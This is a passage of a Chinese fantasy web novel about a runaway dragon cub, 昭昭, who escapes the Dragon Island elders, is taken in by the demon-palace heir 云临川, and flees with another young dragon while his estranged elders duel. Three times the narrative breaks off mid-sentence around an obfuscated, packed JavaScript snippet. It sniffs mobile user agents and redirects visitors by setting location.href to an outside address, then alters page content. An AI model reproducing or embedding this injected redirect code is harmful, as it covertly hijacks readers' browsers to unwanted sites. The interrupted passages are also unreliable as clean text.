还好不是来讨说法的,也幸亏龙崽没在仙魁街出什么事,不然今晚怕是要血流成河。 花灯队的鲛人极有眼色地招呼着,带着族人继续前进,不多时长街就恢复了热闹。 洛云杳在叫卖声里看清了老人拐杖上狰狞的龙头,这东西是龙族族长的象征。 他的族人……来接他回去了。 “崽,你要先跟他们回去吗?”龙髓珠打了个哈欠,“那块龙香我还没吸收完,不一定什么时候还会沉睡,跟他们回去还能帮你去九霄宗驻地找人。” 似乎和龙岛的人回去成了最好的选择。 可洛云杳心底还是生出一股不安,仿佛就这么跟他们回去,会发生什么不好的事情。 族长似乎看出他的想法,蹲下身放出龙角,声音柔和地朝着他伸手:“好孩子,别怕。龙岛的人都很喜欢你。” 同族的气息并没有让洛云杳安心多少,那股不安愈发严重了。 “在担心什么?” 头顶的乱毛被人揉了揉,隔音结界缓缓展开。 幼崽偏了偏头,对上了男人的眼睛:“青禾叔叔,你想和我说什么秘密呀?” 在他的印象里,只有说不可告人的秘密时才需要开结界。 青禾愣了下,眼神飘忽不定:“倒也不是秘密,就是……想和你说点要紧的事。” 不等幼崽回应,男人蹲到幼崽对面认真问着:“昭昭,你知道龙崽对龙族的重要程度吗?” 洛云杳仔细搜罗着传承,总结着:“很重要。” 一个种族如果全都资质奇佳和肉身强悍,那么便注定子嗣艰难,又会格外喜爱幼崽,刻在骨血里的本能让他们无法做出伤害幼崽的举动。 这也是为什么洛云杳不害怕青禾是坏人,听他的话乖乖留在酒楼。 青禾摇头:“那是从前。如今龙族已经将近一千年没有幼崽出生了,你是这一千年里唯一出生的龙崽。” “什么?!”比幼崽先一步叫出来的是龙髓珠,“你胡说八道吧!” 一个种族走向灭亡的先兆就是无法繁衍后代,可明明龙神刚才都显灵了,又怎么可能看着龙族灭族? 青禾:“据我所知,方才是龙神这些年第一次降神。” 龙髓珠彻底沉默了下去。 “好了,我说这些就是想告诉你,龙岛对你来说很安全。”青禾牵起幼崽的手,带着他走向龙岛几人,“他们舍不得你难过,遇到什么事别犯倔,你朝他们哭一哭,撒个娇就好了。” “还有,你爹他……是个很好的人,起码外界对他的评价很好。我相信他一定是有什么苦衷才和你分开的。” 幼崽听着男人宛如哑谜的嘱咐,睫毛颤了颤,满脑子都是那道青衣白发的身影,倔强重复着:“爹爹是在和昭昭玩捉迷藏。” “好好好,捉迷藏就捉迷藏。”青禾附和着,“以后遇到什么事大喊一声‘我爹是洛淮时’,不会有人敢欺负你的。” 龙岛加上九霄宗两座庞然大物的名号一出,没有傻子敢在太岁头上动土。 男人把幼崽交到了族长手里,眼神稍显落寞。 洛云杳瞧见那一闪而过的情绪,又迈着小短腿“哒哒”跑了过去:“青禾叔叔,你会去龙岛看我吗?” 青禾这回是真愣住了,干巴巴回着:“有时间……会的吧。” 说起来,他也有很长时间没离开过万族岛了。 “那我们拉钩钩。”幼崽朝着男人伸出手指。 青禾擦了擦手,伸出手拉了两下:“好。” 洛云杳满意点头,伸出手指:“那我们拉钩!” 一大一小两根手指碰在了一起。 重新回到龙岛几人身边,“刷拉”一下,洛云杳眼前多了一堆金灿灿的玩具和灵气氤氲的吃食。 双生子一左一右半蹲在他对面,眼角微微泛红。 洛云杳:“……” 他想了想,一样拿了一个,试探着叫了声“哥哥”、“姐姐”。 看出对面已经远超三千岁的龙髓珠:“……” 算了,孩子爱怎么叫就怎么叫吧,反正龙族没那么多规矩。 “诶。”双生子同时应着。 马尾高束女人笑了笑:“我叫月栖,是龙岛的守门人。” 皮肤白得像纸的男人点点头:“我叫星眠,是龙岛的大祭司。” “月姐姐、星哥哥……我们什么时候出发啊,昭昭还要——” “崽,老头和臭蛇在说悄悄话,好像和你有关系。”龙髓珠打断道,顺道探出一道灵力摸进了隔音结界,把谈话声传给幼崽。 幼崽拿着糖果,疑惑地竖起耳朵。 “族长,您带昭昭回去……找到他的双亲会怎么办?” “如果你所言属实,龙崽出生后一直在独自流浪。那按照龙岛的规矩——我们会剥夺双亲的抚育权,再挑选合适人选成为幼崽的新家长。” “可这和强盗有什么区别?我知道龙崽没见过双亲不会对他们产生什么感情,但昭昭他不一样,他在蛋里的时候就能感受到双亲的存在,还能听清他们说话……” “青禾,龙族已经将近千年没有幼崽出生了,灭族的预兆笼罩在所有龙族头顶。不少人甚至向我提议对那两个抛弃幼崽的‘混蛋’处以极刑。” “他现在……属于整个龙族。” “咔嚓”。 糖果掉在地面摔得粉碎。 “剥夺抚育权”、“新家长”、“整个龙族”。 幼崽满面惊恐不断后退,眼中月栖和星眠的笑脸也变得扭曲可怖。 “不可以……不要……” 他不能回去,他不要新家长!他是爹爹和父亲的宝宝!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479002|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “乖崽怎么了?不喜欢吃吗?”月栖瞪了买糖的弟弟一眼。 星眠:“……?” 难吃吗?他没吃出来啊? 女人的手眼看着就要落在头顶,洛云杳强忍泪水躲了过去,握着龙髓珠转身就跑! “快点、再快点……” 脑子里只剩下了一个念头——跑得够快就不会被人追上,跑得够快就能找到爹爹和父亲,跑得够快……就不会和他们分开。 人群如潮,鱼灯游摆如龙,须臾功夫幼崽跑到了队尾。 手里的龙髓珠越来越热,像是有什么东西顺着龙髓珠跑进了经脉,幼崽只觉得浑身上下像是爬了蚂蚁。 身后的叫喊声愈发模糊了。 洛云杳突然意识到,他光靠跑是跑不掉的。 “瞬移、瞬移……”掌心的龙髓珠闪烁着前所未有的光芒,幼崽乌黑的眸子划过一道金光。 下一瞬,冲天金光拔地而起。 等到龙岛的人赶到,地面只剩下被风吹出的满地狼藉。 . 万族岛东侧的兽林。 浓郁的血腥味溢散在空气里,满地的魔化妖兽烂泥般瘫软,小山般堆在空地。 山尖坐着个一身玄衣的男人,兽血顺着裤脚衣袖滴落在妖兽的尸体上,手里抛着把泛着寒光的长剑。 银色剑身照出了男人邪气俊帅的长相——鼻梁高挺,眉眼凌厉,绿色蛇眸狭长诡谲。 不像好人,就连人也不像,似是个无恶不作的妖邪。 “少主,您这神魂还没适应新肉身,再杀下去别再……”下属终于鼓起勇气开口。 “咔哒”一声,长剑入鞘,云临川抖了抖法衣上的血,眉毛一皱:“再乌鸦嘴连你一起杀。” 下属:“……” 他不说了还不行么。 不过有些事还是要汇报的,下属又道:“少主,此次万族大会九霄宗的领队人换成了……” 云临川拔出初晴剑:“吞吞吐吐也杀。” 下属:“洛淮时,洛尊者。” 不出所料,“洛淮时”三个字一出现,男人的神色立马微妙起来,似乎在回忆什么,最后自嘲般笑了一声:“原来是……师兄啊。” 修真界无人不知魔宫和九霄宗的恩恩怨怨。 想当初,九霄宗前任宗主云淞道人一口气收了两个亲传弟子,大弟子洛淮时,另一个就是魔宫如今的少主云临川。 二人虽是师兄弟,还都资质逆天,却没能惺惺相惜,反倒整日斗得和乌眼鸡一样。 直到云临川偷了宗门秘宝叛逃,转身成了魔宫少主,倒是消停了一段日子,但两家的梁子却实打实的结下了。 下属来得晚,没能亲眼见证师兄弟反目成仇的戏码,却在其他人嘴里听到了不少前尘往事。 听说就算后来魔尊送了等价赔礼过去,九霄宗依旧闭门不见。 而他们少主在一次出关后,立志于满修真界给他那个前师兄添堵,不是今天在秘境打得两败俱伤,就是明天在排行榜斗得你死我活。 不过最近这些年不知道是不是斗累了,他们少主倒是好久没折腾了。 瞟了瞟男人所在的位置,下属见云临川依旧沉浸在往事里,不敢多嘴只好抬头望天。 不过……今天这月亮怎么这么亮? 只见半空澄黄的“月亮”以肉眼可见越来越大,最后以势不可挡的速度狠狠砸下—— 砸在了云临川怀里。 “月亮”软乎乎的的,还冒着热气,等到光芒散去,男人对上了一双淡金色的眼睛。 是条还没他胳膊粗的小金龙。 5. 养崽第五天 云临川面无表情地掐了一把大腿。 有痛感,不是在做梦。 不是说龙族千年没有新幼崽诞生要灭族吗?怎么还能从天而降一只小崽子? 不过刚才他的确瞧见了龙族的人登岛。 腿上的龙崽似乎是摔懵了,半天都没翻过身,像只四脚朝天的小乌龟。 犹豫片刻,云临川还是出手帮龙崽翻了身。 成功四脚着地的龙崽眼睛亮晶晶地看着他,让他无可避免的想起了一道清冷如月的身影。 他的好师兄也有一双淡金色的眼睛。 龙族怎么和幼崽打招呼来着? 云临川认真想了想,随后低头放出了自己枯枝般的龙角,伸出手指戳了戳龙崽的鼻子。 长辈戳晚辈原形的鼻子意味着在说“你好”。 似乎风一吹就会散开的小家伙歪了歪头,似乎在看他的角,又似乎在思考他的动作有什么意义。 最后伸出肉乎乎的小爪子碰了碰他的手指:“谢谢、谢谢叔叔。” 云临川的心情很微妙:“叔叔?我看起来很老吗?” 瞬移带来的后遗症让洛云杳脑子晕乎乎的,闻言换了个称呼:“那……哥哥?” 云临川:“叫我前辈就行。” “前辈!”终于叫对称呼的幼崽开心地摇着尾巴,东瞧瞧西看看,果断跳了下去,“前辈再会!” 他得去找爹爹。 虽然不知道九霄宗驻地在哪儿,龙髓珠也没回应,但好不容易逃出来的幼崽现在只剩下了“找爹爹”一个念头。 起跳的小金龙尾巴堆在一起,像只跃龙门的小鲤鱼。 “不许走!”云临川手疾眼快抓住幼崽的尾巴,甚至不知道自己为什么要留下一个明显会带来“麻烦”的龙崽。 洛云杳这下真走不动了,那一跳让他看清了男人身下的尸山,整条龙都吓傻了,鼻子里全是血腥味儿。 就算认出这些死去的妖兽都是堕魔失去理智的,幼崽还是忍不住后背发凉。 云临川倒是没注意到幼崽的僵硬,面不改色道:“外面危险,我带你去其他地方。” 下属:“……?” 这地方除了他们少主哪里还有危险了? 洛云杳:“不不不,不用麻烦叔叔了,我得……” “不麻烦。”云临川强行把龙崽揣进胸前的口袋里。 洛云杳拒绝无果,又没能力逃走,只好自暴自弃地团成了一团 身体周围暖烘烘的,看见尸体的害怕很快消失得无影无踪。 奇怪的是,就算龙族对幼崽再纵容,他也会对陌生同族抱有天然的防备,可待在男人怀里却只想好好睡一觉。 ……不可以睡觉,他还得去找爹爹。 等到好不容易钻出口袋,洛云杳发现自己被男人带到了小溪旁。 溪水里扑棱着肥硕的灵鱼。 “咕噜——” 肚子结结实实叫了一声。 下一刻,灵鱼被灵力抓起拍晕在河滩,男人三下五除二清理完内脏,指尖冒出灵火开始烤鱼。 “等一会儿就能吃了。”云临川说着,手痒挠了挠龙崽的下巴。 理智上,他明白自己应该把眼前的小东西送回龙岛,而不是继续留在身边。 可不知道为什么,他……有点舍不得。 真是奇怪。 明明他现在的身体全是用天材地宝堆砌的,不该有那股刻在骨血里抚育幼崽的冲动。 洛云杳在继续逃走和吃烤鱼里犹豫两下,最后点点头。 吃饱了才有力气逃跑! 不多时,热气腾腾的烤鱼熟了,带着股好闻的香甜。 云临川拿着烤鱼晃了晃,挑眉道:“想吃吗?” 石板上的龙崽上下跳了跳,脑袋点成了拨浪鼓。 “那你得回答我几个问题。”云临川微微一笑,“你家长在哪儿?为什么会从天上掉下来?” 族长刚才说的话浮现在脑海,洛云杳点头的动作一顿,随即戒备地看着男人。 不能让绿眼睛前辈知道他是条“没见过双亲”的龙崽。 于是龙崽故作镇定开口道:“……唔,他们去驻地休息了,昭昭自己出来玩。” 十分拙劣的谎言,拙劣到云临川差点笑出声。 龙岛不可能放龙崽自己乱转,双亲更不可能光顾着休息让孩子自己出来玩。 但云临川没戳破龙崽的谎话,而是把撕好烤鱼递到龙崽嘴边:“你叫昭昭?那这样,我一会儿带昭昭去个好玩的地方。” 他改主意了,既然舍不得放回去,那就等龙岛的人自己找上门来。正巧最近私库空虚,没准还能用这条“珍贵”的幼崽,狠狠敲一笔灵石出来。 倒是龙崽的名字…… “昭昭”。 总觉得在哪听过,还挺好听的。 愣神的功夫,龙崽捧着烤鱼吃了个干净,肚子鼓鼓的,鳞片上泛着油光。 云临川本来想掐个清洁术,不曾想龙崽直接跳进了河水里洗澡。 等待的过程太过无聊,于是他便转身拿出初晴剑擦拭上面顽固的兽血,直到身后的下属又开始吞吞吐吐。 “有话就说。”云临川心情不错,连带着态度都好上不少。 “少主,您要不……回头看看?” 云临川擦剑的动作一顿,心跳快了几分,缓步转身—— 身后没他腿高的幼崽顶着一张粉雕玉琢的小脸,环抱着和身高不相上下的灵鱼。 最重要的是幼崽的长相,像极了一位故人。 “……师兄?” 下属压住了喉咙里的惊呼,目光在幼崽和男人之间扫来扫去,那句“这孩子怎么长得和你这么像”硬生生憋了回去。 虽然他没见过少主那位师兄,可他也……不瞎吧? 下属陷入困惑,索性闭嘴到底。 “前辈你是想师兄了吗?”洛云杳抬起袖子擦了擦脸,压根没想过云临川这两个字是对着自己说的,“想他就去看他啊。” “我不想他,他不喜欢我。”云临川的声音有些哑,眼里划过复杂的光,蹲了下去,可惜还是比幼崽高上半个脑袋。 “但是……”他控制不住地勾起一抹意味深长的笑,“我觉得他一定喜欢你。” 他不准备敲诈龙岛了,他准备给他的好师兄送上一份“大礼”。 . 仙魁街昨晚的骚动传遍了整个万族岛。 所有人都知道龙族丢了个年纪不大的龙崽,一群人彻夜不眠搜索着,马上就要找到岛外面。 可惜一无所获,龙崽就像蒸发了一般。 九霄宗驻地,洛淮时听了徒孙叽叽喳喳的禀报,记起那双含泪的眼睛,心脏莫名揪了一下:“怎么会丢?” 徒孙神情微妙:“据说是……自己跑丢的。” 洛淮时脑子里顿时浮现出幼崽顶着头顶小揪揪逃跑的模样,嘴角不自觉弯了弯。 没想到昨天救下的小家伙还挺顽皮。 徒孙看呆了眼,自打入门起还真没瞧见他这师叔笑过。 “好了。”洛淮时收起笑容,“你去告诉——” 突然闯入的黑蛇打断了两人的谈话。 拇指粗细,一双绿豆似的眼睛闪烁着精光。 徒孙尖叫一声冒出一对鼠耳,飞速行礼逃了个无影无踪。 洛淮时依旧正襟危坐,直到黑蛇没皮没脸般爬到了他的鞋面。 “吧唧”一声,灵气凝聚而成的小蛇驾鹤西去,地面多了一张薄薄的纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479003|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片,上面写着—— “师兄,多年不见,可否赏脸林间小聚?” 九霄宗驻地后就有一大片紫竹林。 果不其然,刚踏进竹林就能瞧见躺在竹竿上的黑衣男人,那张脸和上次见面一样令人讨厌。 洛淮时面无表情:“你又想耍什么把戏?” “师兄怎么能这般想我?我这次真是来叙旧的。”云临川挂着一副惯有的嬉皮笑脸,跳下紫竹,对上了青年淡漠的眼睛。 这双眼睛的形状前不久就在他面前出现过。 如果不是知道洛淮时的原形是条白蛇,根本生不出纯血金龙,他都要以为……那小东西是洛淮时的儿子了。 “我们没什么好叙旧的。”洛淮时突然后悔出来了。 按照惯例,他这个师弟又要说一些不痛不痒的挑衅话来。 老套又没什么心意,却又非得等他他露出不耐烦的表情才肯罢休。 但惜这次他猜错了。 男人再度开口,问出了一句匪夷所思的话:“师兄,那我问你个问题吧。” “你说一条蛇……能生出一条龙吗?” “刷——” 雪色长剑架在了云临川的脖颈。 “为什么这么问?” 因为姿势的原因,青年离他很近,近到云临川能看清他难看的脸色,也能看清他眼底的惊怒。 生气了?为什么会生气?他只是随口…… 这下轮到云临川脸色难看了,可惜剑贴得太紧,只能抬手移开一寸剑刃反问:“师兄,你这么害怕……难不成我猜对了?” 那条和洛淮时几乎一个模子刻出来的龙崽…… “别放屁,”洛淮时死死攥着剑柄,声音微微颤抖,“你是不是知道——” “铿——” 两声清越的凤鸣自身后传来,灼热的火凤强行插进两人之间,又化作金纸落到两人手里。 这么一打岔,洛淮时恢复稍许理智,收剑入鞘,扫了一眼上面龙飞凤舞的字迹。 “万族大会提前至明日开启,望诸位领队做好应战准备。”云临川下意识读了出来,嗤笑一声,“岛主这字还是这么难看。” 没得来回应,他才想起来身边不是逗捧全能的下属,而是他不苟言笑的师兄。 荒唐的想法又冒了出来,随之而来的还有股莫名的怒火。 云临川气得黑着脸一言不发,死死盯着洛淮时的脸,似乎要盯出个窟窿来。 可即便如此,洛淮时也没再追问下去,而是拿出驻地腰牌下了逐客令:“滚。” “擂台赛再见……再无一点同门之情。” 话都说到了这份上,云临川也没脸赖在这儿继续纠缠,转身离去。 紫竹林终于恢复了寂静。 洛淮时揉了揉刺痛的额角,走进了紫竹林深处。 深林处自带数口天然灵泉,能修复内伤平心静气。 岛主与九霄宗是旧相识,这才把驻地安排在了这看似鸟不拉屎,实则面面俱全的荒地。 “哗啦——” 破水声从层层叠叠的草木遮掩后传出,只着里衣的青年靠在灵泉边。 许是因为灵泉水汽的缘故,淡色的唇瓣透出点欲盖弥彰的粉。湿漉漉的长发搭在肩上,原本应该长着一双长腿的地方被莹白泛光的长尾取代。 鳞片圆润,末端又稍稍缩紧,似蛇,又像龙。 不过青年头顶的龙角倒是印证了他的身份,可那角比起其他的成年龙族要瘦小许多,像是发育不良。 洛淮时抠了抠尾巴上翘起的半透薄膜,意识到自己居然又到了蜕皮的日子。 云临川问他蛇能不能生出一条龙。 答案是能。 他就是条被蛇生出来的龙。 6. 养崽第六天 魔宫驻地位于万族岛西北的青崖水涧。 离开紫竹林后,云临川憋着一口气回了驻地,迎面撞上等候多时的下属。 “少主,都查清楚了!”下属擦了擦额头的汗,“这龙崽正是昨晚仙魁街跑丢的那条,长得和留影石上一模一样。” “那查到他双亲是谁了吗?”云临川接过留影石,从幼崽被龙神残影掀开帽子,一直看到了幼崽拔腿逃跑。 因为拍摄留影的修士手很抖,以至于根本看不清幼崽是用什么逃跑的。 下属:“这个还真没有,只能查到龙崽是三天前突然出现在飞仙楼的。但酒楼老板虽是龙族,可他不仅没道侣,还是青蛇跃门变成的青龙。” 根本生不出纯血金龙。 云临川烦躁地捏碎留影,脑子里幼崽的脸再次和洛淮时重合,声音带上了自己都没察觉的颤抖:“我就不信……他还是从石头缝里蹦出来的不成。” 下属站在一旁看的心惊胆战,生怕哪里做得不对又被劈头盖脸地说一顿。 直到他看见本该去大厅议事的男人拐去了寝殿方向。 “诶,少主!左护法他们还等着你商议对策——” 云临川一把将岛主的金纸丢了过去:“一群废物,事事都指着本少主,明天擂台赛赢不了都给我滚蛋!” 下属听话的滚蛋了。 云临川的脚步却不坚定了。 稍微冷静下来,他觉得洛淮时害怕的,和他想的大概不是一码事。 其实看清幼崽长相的刹那,他还以为是洛淮时用了什么法术过来整他的。 所以今天早上,他特意去九霄宗确认了一遍洛淮时在不在。看见青年像从前一样雷打不动地练剑做早课,这才打消了心里的疑虑。 可旧的怀疑消失了,新猜想却接踵而至──难不成那龙崽真和他这好师兄有什么密不可分的关系? 甚至是……他的亲儿子。 云临川又觉得荒唐。 龙族和其他种族生出来的混血从来没有生出纯血金龙的时候,就算是返祖,顶多只是成为纯血龙族。 更何况,以他对洛淮时的了解,若是真和龙族的人生了孩子,不可能让孩子无名无分的藏着,还沦落到大街上当乞丐。 那洛淮时到底在怕什么? “真是疯了……”云临川自言自语着走进寝殿,神识一下就锁定住蹲在墙角挖结界的幼崽。 洛云杳后背一凉,扒拉墙角的动作彻底停住,扔了铲子转身举手,心虚道:“前辈,你也想玩沙子吗?” 半尺深的土坑几乎到了幼崽的脖子,坑外堆着几座小土包,上面还插着狗尾巴草。 云临川一下子就泄气了,甚至想不起来自己过来干什么。 “我不玩。” 虽然嘴上这么说的,云临川还是蹲了下去,指着纹丝不动的结界说:“结界,以点为面,你这么乱挖根本出不去。” 被戳破目的,洛云杳尴尬望天看地,就是不肯给男人一个眼神。 云临川:“为什么不问我把你带到这儿要干什么?” “啊?”洛云杳挠挠脖子,满眼期待地看向哪呢,“问了你会放我走吗?” 云临川:“……不会。” 幼崽一摊手:“那我问不问也没有什么区别啊,反正前辈又不会伤害我。” 没得等到回答,欲言又止的男人眨眼间消失不见,只留下土坑里茫然的幼崽。 一刻钟、两刻钟。 确定男人真的不会回来,幼崽一改之前的茫然,鬼鬼祟祟地蹲了下去,继续朝着已经撬开的墙角刨土。 虽然他不好奇绿眼睛前辈把他带回来要做什么,但逃跑刻不容缓。 从昨天晚上挖到现在,还差一点就能挖到结界最薄弱的地方了。 很快,设在墙外的结界露出了拳头大小,幼崽拿出自己的拳头比划两下,砰得一声变回龙形。 龙崽用脑袋顶了顶,试出大小刚好够他钻出去,满意地变回了人身。 龙髓珠被他抓在了手里。 和昨晚瞬移之后毫无反应相比,今天的龙髓珠偶尔会微微发烫。 作为龙髓珠的主人,他感受到龙髓珠已经恢复了遮掩气息的能力。 同样,作为龙神遗物,钻开个小小的结界也不在话下。 “珠珠我们一起努力呀,出去就能找爹爹了。”幼崽摸了摸金珠,放在地面,对着拳头大小的结界狠狠一弹! “咔嚓”一声后,结界碎掉了。 可没等幼崽欢呼,结界外又发出“咚”得一声闷响,像砸在了什么东西脑袋上。 洛云杳懵了,顿时变回原形趴在洞口旁向外看。 金灿灿的龙髓珠旁边,是一双金黄金黄的眼睛。 一条比他大一点的小黑龙推着金珠钻了进来,撑裂了墙壁,对着他低低叫了一声。 没有什么实际内容,只是对着他打招呼表现友好。 洛云杳下意识回叫了一声,低头看了看自己淡金色的鳞片,又看了看对面的陌生幼龙。 青禾叔叔不是说……他是一千年里唯一一条出生的龙崽吗? 可直觉告诉他,对面的确是一条如假包换的龙崽,和他一样。 所以……是新朋友! “我、我叫昭昭,你是谁?”洛云杳好奇地问着,声音透着紧张,“你是来找我的吗?” 别的先不说,这可他第一次遇见同龄龙! 可惜对面的小黑龙没说话,而是低下脑袋,用短短的龙角拱了拱金珠,把它推到了洛云杳爪子边。 “要一起玩吗?”他猜测着,同样用龙角拱了拱金珠。 还是没等到回话,小黑龙只是眨着金黄的眼睛,一错不错地看着他,像是他身上黏了什么东西。 洛云杳意识到什么,用爪子点了点自己的灵台。 微不可察的金光从灵台飞出,落在了他的眼皮上。 幼崽眼里的世界发生了翻天覆地的变化。 铺天盖薄雾般的存在是灵气显化,聚在一起的绿点是花草树木的生机,太阳的气是淡淡的金色,混杂在薄雾里。 而对面小黑龙身上的气灰扑扑的,身上层层叠叠缠着黑线似的东西,把它缠成了球,只露出两只圆溜溜的眼睛。 像只黑漆漆的蛋。 这是洛云杳的天赋,他天生就能看见除自己之外万物身上的“气”。 他形容不出来这些气到底是什么东西,就连龙髓珠也说不清楚。 他只知道黑气、黑线模样的东西是百病之源、万恶之首,被它缠上的存在会痛苦不堪,从里到外没有一处地方是舒坦的。 “你是不是很难受呀?”金灿灿的龙崽朝着黑蛋走了两步,“那你闭上眼睛。” 黑蛋这下终于有了反应,乖乖闭眼。 过于浓密的黑线让洛云杳有点无从下手。 “沐沐。” 没什么起伏的声音从黑蛋里传了出来,很稚嫩,却又带着故作成熟的沉稳。 一只同样黑漆漆的爪子伸了出来,上面沾着些泥土。 洛云杳眼睛一亮,伸出爪子抓住小黑龙! 暖流顺着爪子连接处一直溜到了黑线上,窸窸窣窣半天,瓦解掉了最外面的黑线,然后…… 他没有灵气了。 眼前重新出现了小黑龙的龙脸。 “你叫沐沐吗?”洛云杳问着,顺手把龙髓珠收进丹田。 小黑龙歪了歪头,好一会儿才慢慢点头。 洛云杳:“你怎么在这呀?是自己偷溜出来玩找不到路了吗?” 按照龙族对幼崽的呵护程度,他只能想到这个原因。 还是过了好一会儿,小黑龙又点了头。 这下就算再迟钝,洛云杳也发现新伙伴似乎有哪里不太对,呆呆的,像颗不喜欢翻身的石头。 是黑线影响的吗?可惜那些黑线太顽固了,他没法一次性清除,也不知道能不能帮小黑龙彻底清除。 不过作为一条善良的小龙,他决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479004|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定在逃跑的同时帮助新伙伴回家。 “那我们先逃出去吧,你跟着我走就行。” 驻地入口,下属昏昏欲睡。 由于上次万族大会,魔宫一奇人几乎得罪了所有势力,还搞砸了联盟,所以这次根本没人登门到访。 所有势力都在等着看魔宫孤军奋战的笑话。 下属倒是觉得,他们少主压根不在乎脸面这种小问题。 思及此处,下属摸出留影石放出三张留影──一张是洛淮时的正脸,一张是偷拍的云临川侧脸,还有一张幼崽刨土时的怼脸影像。 “眼睛像他、耳朵像少主、鼻子像他、嘴像少主……”下属表情越看越诡异,越对比越觉得自己的眼睛没出问题。 这孩子摆出去,说是他俩亲生的都合情合理! 下属觉得自己真该睡了。 “咔嚓”,身后突然冒出一声脆响。 下属转身,只看见了路过的老鼠。 而在下属没注意的地方,两条一黑一金的幼龙轻松钻出大门,大摇大摆没入树丛,彻底离开了魔宫驻地。 “成功啦!”洛云杳忍不住欢呼一声,又捂紧嘴巴戒备着有没有人追过来。 身后的小黑龙倒是没发出一点声音,专心致志跟在他身后。 一圈、两圈、第三次看见标记过的树干后,龙崽“吧唧”一下搭在了树杈上,眼泪汪汪地看向小黑龙:“沐沐,我们好像迷路了。” “这片林子有迷雾,好像有阵法。” 小黑龙:“……?” 就当洛云杳收拾好心情决定再次出发时,脑袋被小黑龙拱了拱。 “跟、我走。” . 烈日高悬,万族大会开幕式如同花灯游街一样热闹。 等到所有人员到齐,岛主一声令下,霎时间黑白逆转,漫天炸开靓丽烟火。 半空中缓缓浮现出一根顶天立地的高柱,柱身上兽人神鬼一应俱全。 “入名册——开天柱!” 洛淮时站在人群中,刺破指尖逼出一滴精血。 “……呵。” 随着精血颤颤巍巍飞向天际,洛淮时听见了一声轻笑。 循声而去,隔着烟火的余烬,他看见了对面的云临川。 和昨天相比倒是人模狗样不少,笑容却依旧让人生厌。 “──师──兄,又见面了。” 那声师兄拉长了尾音,砸进耳朵里让人心烦意乱。 洛淮时按了按隐隐作痛的识海,面无表情:“擂台见。” 男人愣了一下,似乎是没想到他会回应,眼神也跟着复杂起来。 洛淮时看不懂,也懒得猜,转身去看台上表演。 将近半个时辰,天柱终于录入了所有参赛选手,擂台赛也跟着展开。 万族大会的擂台赛只分大境界,不分阵营。除了渡劫修士不能参加外,每个境界最后只有一名赢家,能够为所在势力赢得“天道气运”。 所有对手都是天柱随机匹配,绝无黑幕。 洛淮时掐着手里的“六十八”,察觉到什么,抬头准确无误地和云临川对视。 男人手里同样掐着“六十八”的竹签,脸上没有丝毫意外。 天柱喜欢把有仇的两个人安排在一起。 就是没想到,第一场就让他们两个对上了。 “师兄,不知道你还记不记得我们多少年没见了?”脚尖刚挨上擂台,云临川率先开口问着,初晴剑拎在手里乱晃。 洛淮时蹙了蹙眉:“别废话,昨天不是刚见过。” “可是我记得。”云临川站稳之后慨叹一声,“整整一百三十年。” 洛淮时随手扎起半散的银发,眉眼冷冽:“那正好。你我时至今日,也该做一场了断了。” “了断?”像是听见什么好笑的事,男人拔剑出鞘叹息一声,“师兄啊师兄,当初师父把这霁雨初晴剑交给我二人──” “可曾想过你我有一日会拔剑相向?” 7. 养崽第七天 龙髓珠似乎做了一场很长的梦。 仙魁街上,洛云杳一激动,强行催化了它没吸收完的龙香瞬移。 但是因为幼崽灵力微弱,龙髓珠只好咬牙把过剩的灵气逼出,连句话都没来得及嘱咐,直接力竭晕了过去。 以至于梦里都是幼崽被龙岛的人抓住,然后强行清洗血脉认了别人当爹的场面。 “……崽你没事──” 狂风打在本体上,龙髓珠刚睡醒的脑袋彻底清醒,抓着龙鬃尖叫:“啊啊啊这是哪儿啊?” 阴沉的密林几乎看不见太阳,空气里还有若隐若现的迷雾,俨然一副“不是什么好地方”的模样。 等等,它手里的鬃毛怎么是黑色的?! 它家崽的可是纯正的金黄色! “珠珠你醒了呀。” 熟悉的软乎乎声音从身后传来,龙髓珠顿时滚进了幼崽手里,幻化出手脚擦了擦并不存在的汗。 吓死个人,还以为—— 龙髓珠:“……?” 那它刚才摸到的是什么玩意? 洛云杳摸摸一动不动的金珠,安抚着:“珠珠别怕,沐沐哥哥马上就能带我们去了。” “哥哥?你哪来的哥哥?”龙髓珠依旧惊魂未定,闻言还以为自己还没睡醒。 洛云杳指了指驮着自己的小黑龙:“沐沐哥哥在这儿呀,他超厉害的!我飞不动了他能带着我一起飞。” 龙髓珠:“……?” 有龙崽半个头大的金珠先是原地转了转圈,又在小黑龙后背上滚了几遍。 最后,龙髓珠不得不承认,这条黑漆漆的东西确实是如假包换的龙族幼崽。 就是…… 